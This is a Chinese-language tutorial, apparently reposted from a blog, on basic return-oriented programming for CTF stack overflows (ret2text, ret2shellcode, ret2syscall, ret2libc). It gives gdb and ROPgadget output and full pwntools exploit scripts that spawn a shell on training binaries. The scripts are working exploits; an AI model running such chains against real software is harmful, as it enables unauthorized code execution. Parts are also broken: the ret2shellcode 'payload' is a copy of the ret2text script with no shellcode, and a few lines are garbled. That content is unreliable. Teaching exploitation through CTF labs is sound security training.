原文鏈接:https://blog.csdn.net/guiguzi1110/article/details/77663430?locationNum=1&fps=1
基本ROP
隨着NX保護的開啟,以往直接向棧或者堆上直接注入代碼的方式難以繼續發揮效果。攻擊者們也提出來相應的方法來繞過保護,目前主要的是ROP(Return Oriented Programming),其主要思想是在**棧緩沖區溢出的基礎上(這一條之后不再重復提及),通過利用程序中已有的小片段(gadgets)來改變某些寄存器或者變量的值,從而改變程序的執行流程。**所謂gadgets就是以ret結尾的指令序列,通過這些指令序列,我們可以修改某些地址的內容,方便控制程序的執行流程。
之所以稱之為ROP,是因為核心在於利用了指令集中的ret指令,改變了指令流的執行順序。ROP攻擊一般得滿足如下條件
- 程序存在溢出,並且可以控制返回地址。
- 可以找到滿足條件的gadgets以及相應gadgets的地址。如果當程序開啟了PIE保護,那么就必須想辦法泄露gadgets的地址了。
# ret2text
## 原理
ret2text即需要我們控制程序執行程序本身已有的的代碼(.text)。其實,這種攻擊方法是一種籠統的描述。我們控制執行程序已有的代碼的時候也可以控制程序執行好幾段不相鄰的程序已有的代碼(也就是gadgets),這就是我們所要說的rop。
這時,我們需要知道對應返回的代碼的位置。當然程序也可能會開啟某些保護,我們需要想辦法去繞過這些保護。
## 例子
其實,在棧溢出的基本原理中,我們已經介紹了這一簡單的攻擊。在這里,我們再給出另外一個例子,bamboofox中介紹ROP時使用的ret2text的例子。
首先,查看一下程序的保護機制
```shell
➜ ret2text checksec ret2text
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```
可以看出程序是32位程序,其僅僅開啟了棧不可執行保護。然后,我們使用IDA來查看源代碼。
```C
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets((char *)&v4);
printf("Maybe I will tell you next time !");
return 0;
}
```
可以看出程序在主函數中使用了gets函數,顯然存在棧溢出漏洞。此后又發現
```asm
.text:080485FD secure proc near
.text:080485FD
.text:080485FD input = dword ptr -10h
.text:080485FD secretcode = dword ptr -0Ch
.text:080485FD
.text:080485FD push ebp
.text:080485FE mov ebp, esp
.text:08048600 sub esp, 28h
.text:08048603 mov dword ptr [esp], 0 ; timer
.text:0804860A call _time
.text:0804860F mov [esp], eax ; seed
.text:08048612 call _srand
.text:08048617 call _rand
.text:0804861C mov [ebp+secretcode], eax
.text:0804861F lea eax, [ebp+input]
.text:08048622 mov [esp+4], eax
.text:08048626 mov dword ptr [esp], offset unk_8048760
.text:0804862D call ___isoc99_scanf
.text:08048632 mov eax, [ebp+input]
.text:08048635 cmp eax, [ebp+secretcode]
.text:08048638 jnz short locret_8048646
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system
```
在secure函數又發現了存在調用system("/bin/sh")的代碼,那么如果我們直接控制程序返回至0x0804863A,那么就可以得到系統的shell了。
下面就是我們如何構造payload了,首先需要確定的是我們能夠控制的內存地址距離main函數的返回地址的字節數。
```asm
.text:080486A7 lea eax, [esp+1Ch]
.text:080486AB mov [esp], eax ; s
.text:080486AE call _gets
```
可以看到該字符串是通過相對於esp的索引,所以我們需要進行調試,將斷點下在call處,查看esp,ebp,如下
```shell
gef➤ b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
gef➤ r
There is something amazing here, do you know anything?
Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24 gets(buf);
───────────────────────────────────────────────────────────────────────[ registers ]────
$eax : 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebx : 0x00000000
$ecx : 0xffffffff
$edx : 0xf7faf870 → 0x00000000
$esp : 0xffffcd40 → 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebp : 0xffffcdc8 → 0x00000000
$esi : 0xf7fae000 → 0x001b1db0
$edi : 0xf7fae000 → 0x001b1db0
$eip : 0x080486ae → <main+102> call 0x8048460 <gets@plt>
```
可以看到esp為0xffffcd40,ebp為具體的payload如下0xffffcdc8,同時s相對於esp的索引為[esp+0x1c],所以,s的地址為0xffffcd5c,所以s相對於ebp
的偏移為0x6C,所以相對於返回地址的偏移為0x6c+4。
最后的payload如下:
```python
#!/usr/bin/env python
from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()
```
## 題目
# ret2shellcode
## 原理
ret2shellcode需要我們控制程序執行shellcode代碼。而所謂的shellcode指的是用於完成某個功能的匯編代碼,常見的功能主要是獲取目標系統的shell。
**一般來說,shellcode都需要我們自己去填充。這其實是另外一種典型的利用的方法,即此時我們需要自己去填充一些可執行的代碼**。
而在棧溢出的基礎上,我們一般都是向棧中寫內容,所以要想執行shellcode,需要對應的binary文件沒有開啟NX保護。
## 例子
這里我們以bamboofox中的ret2shellcode為例,首先檢測程序開啟的保護
```shell
➜ ret2shellcode checksec ret2shellcode
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
```
可以看出源程序幾乎沒有開啟任何保護,並且有可讀,可寫,可執行段。我們再使用IDA看一下程序
```C
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets((char *)&v4);
strncpy(buf2, (const char *)&v4, 0x64u);
printf("bye bye ~");
return 0;
}
```
可以看出,程序仍然是基本的棧溢出漏洞,不過這次還同時將對應的字符串復制到buf2處。簡單查看可知buf2在bss段。
```asm
.bss:0804A080 public buf2
.bss:0804A080 ; char buf2[100]
```
這時,我們簡單的調試下程序,看看這一個bss段是否可執行。
```shell
gef➤ b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gef➤ r
Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
Breakpoint 1, main () at ret2shellcode.c:8
8 setvbuf(stdout, 0LL, 2, 0LL);
─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]────
6 int main(void)
7 {
→ 8 setvbuf(stdout, 0LL, 2, 0LL);
9 setvbuf(stdin, 0LL, 1, 0LL);
10
─────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048536 → Name: main()
──────────────────────────────────────────────────────────────────────────
gef➤ vmmap
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fac000 0x001af000 --- /lib/i386-linux-gnu/libc-2.23.so
0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb2000 0x00000000 rwx
0xf7fd3000 0xf7fd5000 0x00000000 rwx
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rwx
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]
```
通過vmmap,我們可以看到bss段對應的段具有可執行權限
```text
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
```
那么這次我們就控制程序執行shellcode,也就是讀入shellcode,然后控制程序執行bss段處的shellcode。其中,相應的偏移計算類似於
ret2text中的例子。
具體的payload如下
```python
#!/usr/bin/env python
from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c + 4) + p32(target))
sh.interactive()
```
## 題目
- sniperoj-pwn100-shellcode-x86-64
# ret2syscall
## 原理
ret2syscall需要我們控制程序執行系統調用,獲取shell。
## 例子
這里我們以bamboofox中的ret2syscall為例,首先檢測程序開啟的保護
```shell
➜ ret2syscall checksec rop
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```
可以看出,源程序為32位,開啟了NX保護。接下來利用IDA來查看源碼
```C
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
```
可以看出此次仍然是一個棧溢出。類似於之前的做法,我們可以獲得v4相對於ebp的偏移為108。所以我們需要覆蓋的返回地址相對於
v4的偏移為112。此次,由於我們不能直接利用程序中的某一段代碼或者自己填寫代碼來獲得shell,所以我們利用程序中的gadgets來
獲得shell,而對應的shell獲取則是利用系統調用。關於系統調用的知識,請參考
- https://zh.wikipedia.org/wiki/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8
簡單地說,只要我們把對應獲取shell的系統調用的參數放到對應的寄存器中,那么我們在執行int 0x80就可執行對應的系統調用。
比如說這里我們利用如下系統調用來獲取shell
```C
execve("/bin/sh",NULL,NULL)
```
其中,該程序是32位,所以我們需要使得
- 系統調用號即eax應該為0xb
- 第一個參數即ebx應該指向/bin/sh的地址,其實執行sh的地址也可以
- 第二個參數即ecx應該為0
- 第三個參數edx應該為0
而我們如何控制這些寄存器的值 呢?這里就需要使用gadgets。比如說,現在棧頂是10,那么如果此時執行了pop eax,那么現在eax的值就為10。但是我們並不能期待有一段連續的代碼可以同時控制對應的寄存器,所以我們需要一段一段控制,
這也是我們在gadgets最后使用ret來再次控制程序執行流程的原因。具體尋找gadgets的方法,我們可以使用ropgadgets這個工具。
首先,我們來尋找控制eax的gadgets
```shell
➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
```
可以看到有上述幾個都可以控制eax,那我就選取第二個來作為我的gadgets。
類似的,我們可以得到控制其它寄存器的gadgets
```shell
➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
```
這里,我選擇
```text
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
```
這個可以直接控制其它三個寄存器。
此外,我們需要獲得/bin/sh字符串對應的地址。
```shell
➜ ret2syscall ROPgadget --binary rop --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
```
可以找到對應的地址,此外,還有int 0x80的地址,如下
```text
➜ ret2syscall ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc
Unique gadgets found: 4
```
同時,也找到對應的地址了。
下面就是對應的payload,其中0xb為execve對應的系統調用號。
```python
#!/usr/bin/env python
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
```
## 題目
# ret2libc
## 原理
ret2libc即控制函數的執行 libc中的函數,通常是返回至某個函數的plt處或者函數的具體位置(即函數對應的got表項的內容)。
一般情況下,我們會選擇執行system("/bin/sh"),故而此時我們需要知道system函數的地址。
## 例子
我們由簡單到難分別給出三個例子。
### 例1
這里我們以bamboofox中ret2libc1為例。首先,我們可以檢查一下程序的安全保護
```shell
➜ ret2libc1 checksec ret2libc1
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```
源程序為32位,開啟了NX保護。下面來看一下程序源代碼,確定漏洞位置
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets((char *)&v4);
return 0;
}
```
可以看到在執行gets函數的時候出現了棧溢出。此外,利用ropgadget,我們可以查看是否有/bin/sh存在
```shell
➜ ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh
```
確實存在,再次查找一下是否有system函數存在。經在ida中查找,確實也存在。
```asm
.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]
```
那么,我們直接返回該處,即執行system函數。相應的payload如下
```python
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
```
這里我們需要注意函數調用棧的結構,如果是正常調用system函數,我們調用的時候會有一個對應的返回地址,這里以'bbbb'作為
虛假的地址,其后參數對應的參數內容。
這個例子,相對來說,最為簡單,同時提供了system地址與/bin/sh的地址,但是大多數程序並不會有這么好的情況。
### 例2
這里以bamboofox中的ret2libc2為例,該題目與例1基本一致,只不過不再出現/bin/sh字符串,所以此次需要我們自己來讀取字符串,
所以我們需要兩個gadgets,第一個控制程序讀取字符串,第二個控制程序執行system(""/bin/sh")。由於漏洞與上述一致,
這里就不在多說,具體的exp如下
```python
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
```
需要注意的是,我這里向程序中bss段的buf2處寫入/bin/sh字符串,並將其地址作為system的參數傳入。這樣以便於可以獲得shell。
### 例3
這里以bamboofox中的ret2libc3為例,在例2的基礎上,再次將system函數的地址去掉。此時,我們需要同時找到system函數地址
與/bin/sh字符串的地址。首先,查看安全保護
```shell
➜ ret2libc3 checksec ret2libc3
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```
可以看出,源程序仍舊開啟了堆棧不可執行保護。進而查看源碼,發現程序的bug仍然是棧溢出
```C
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets((char *)&v4);
return 0;
}
```
那么我們如何得到system函數的地址呢?這里就主要利用了兩個知識點
- system函數屬於libc,而libc.so文件中的函數之間相對偏移是固定的。
- 即使程序有ASLR保護,也只是針對於地址中間位進行隨機,最低的12位並不會發生改變。而libc在github上有人進行收集,具體細節如下
- https://github.com/niklasb/libc-database
所以如果我們知道libc中某個函數的地址,那么我們就可以確定該程序利用的libc。進而我們就可以知道system函數的地址。
那么如何得到libc中的某個函數的地址呢?我們一般常用的方法是采用got表泄露,即輸出某個函數對應的got表項的內容。
**當然,由於libc的延遲綁定機制,我們需要選擇已經執行過的函數來進行泄露。**
我們自然可以根據上面的步驟先得到libc,之后在程序中查詢偏移,然后再次獲取system地址,但這樣手工操作次數太多,
有點麻煩,這里給出一個libc的利用工具,具體細節請參考readme
- https://github.com/lieanu/LibcSearcher
此外,在得到libc之后,其實libc中也是有/bin/sh字符串的,所以我們可以一起獲得/bin/sh字符串的地址。
這里我們泄露__libc_start_main的地址,這是因為它是程序最初被執行的地方。基本利用思路如下
- 泄露__libc_start_main地址
- 獲取libc版本
- 獲取system地址與/bin/sh的地址
- 再次執行源程序
- 觸發棧溢出執行system(‘/bin/sh’)
exp如下
```python
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)
print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
```
## 題目
- train.cs.nctu.edu.tw ret2libc
# shell獲取小結
這里總結幾種常見的獲取shell的方式:
- 執行shellcode,這一方面也會有不同的情況
- 可以直接返回shell
- 可以將shell返回到某一個端口
- shellcode中字符有時候需要滿足不同的需求
- **注意,我們需要將shellcode寫在可以執行的內存區域中。**
- 執行system("/bin/sh"),system('sh')等等
- 關於system的地址,參見下面章節的**地址尋找**。
- 關於"/bin/sh", “sh”
- 首先尋找binary里面有沒有對應的字符串,**比如說有flush函數,那就一定有sh了**
- 考慮個人讀取對應字符串
- libc中其實是有/bin/sh的
- 優點
- 只需要一個參數。
- 缺點
- **有可能因為破壞環境變量而無法執行。**
- 執行execve("/bin/sh",NULL,NULL)
- 前幾條同system
- 優點
- 幾乎不受環境變量的影響。
- 缺點
- **需要3個參數。**
- 系統調用
- 系統調用號11
# 地址尋找小結
在整個漏洞利用過程中,我們總是免不了要去尋找一些地址,常見的尋找地址的類型,有如下幾種
## 通用尋找
### 直接地址尋找
- 程序中已經給出了相關變量或者函數的地址了。這時候,我們就可以直接進行利用了。
### got表尋找
- 有時候我們並不一定非得直接知道某個函數的地址,可以利用GOT表的跳轉到對應函數的地址。
當然,如果我們非得知道這個函數的地址,我們可以利用write,puts等輸出函數將GOT表中地址處對應的內容輸出出來
(**前提是這個函數已經被解析一次了**)。
## 有libc
- **相對偏移尋找**,這時候我們就需要考慮利用libc中函數的基地址一樣這個特性來尋找了。其實__libc_start_main就是libc
在內存中的基地址。**注意:不要選擇有wapper的函數,這樣會使得函數的基地址計算不正確。**常見的有wapper的函數有(待補充)。
## 無libc
其實,這種情況的解決策略分為兩種
- 想辦法獲取libc
- 想辦法直接獲取對應的地址。
而對於想要泄露的地址,我們只是單純地需要其對應的內容,所以puts和write均可以。
- puts會有\x00截斷的問題
- write可以指定長度輸出的內容。
下面是一些相應的方法
### DynELF
前提是我們可以泄露任意地址的內容。
- **如果要使用write函數泄露的話,一次最好多輸出一些地址的內容,因為我們一般是只是不斷地向高地址讀內容
,很有可能導致高地址的環境變量被覆蓋,就會導致shell不能啟動。**
### libc數據庫
```shell
# 更新數據庫
./get
# 將已有libc添加到數據庫中
./add libc.so
# Find all the libc's in the database that have the given names at the given addresses.
./find function1 addr function2 addr
# Dump some useful offsets, given a libc ID. You can also provide your own names to dump.
./Dump some useful offsets
```
去libc的數據庫中找到對應的和已經出現的地址一樣的libc,這時候很有可能是一樣的。
- libcdb.com
**當然,還有上面提到的https://github.com/lieanu/LibcSearcher。**
### ret2dl-resolve
當ELF文件采用動態鏈接時,got表會采用延遲綁定技術。當第一次調用某個libc函數時,程序會調用_dl_runtime_resolve函數對其地址解析。
因此,我們可以利用棧溢出構造ROP鏈,偽造對其他函數(如:system)的解析。這也是我們在高級rop中會介紹的技巧。
# 題目
- train.cs.nctu.edu.tw
- rop
- 2013-PlaidCTF-ropasaurusrex
- Defcon 2015 Qualifier: R0pbaby
**參考閱讀**
- 烏雲一步一步ROP篇(蒸米)
- [手把手教你棧溢出從入門到放棄(上)](https://zhuanlan.zhihu.com/p/25816426)
- [手把手教你棧溢出從入門到放棄(下)](https://zhuanlan.zhihu.com/p/25892385)
- [ 【技術分享】現代棧溢出利用技術基礎:ROP](http://bobao.360.cn/learning/detail/3694.html)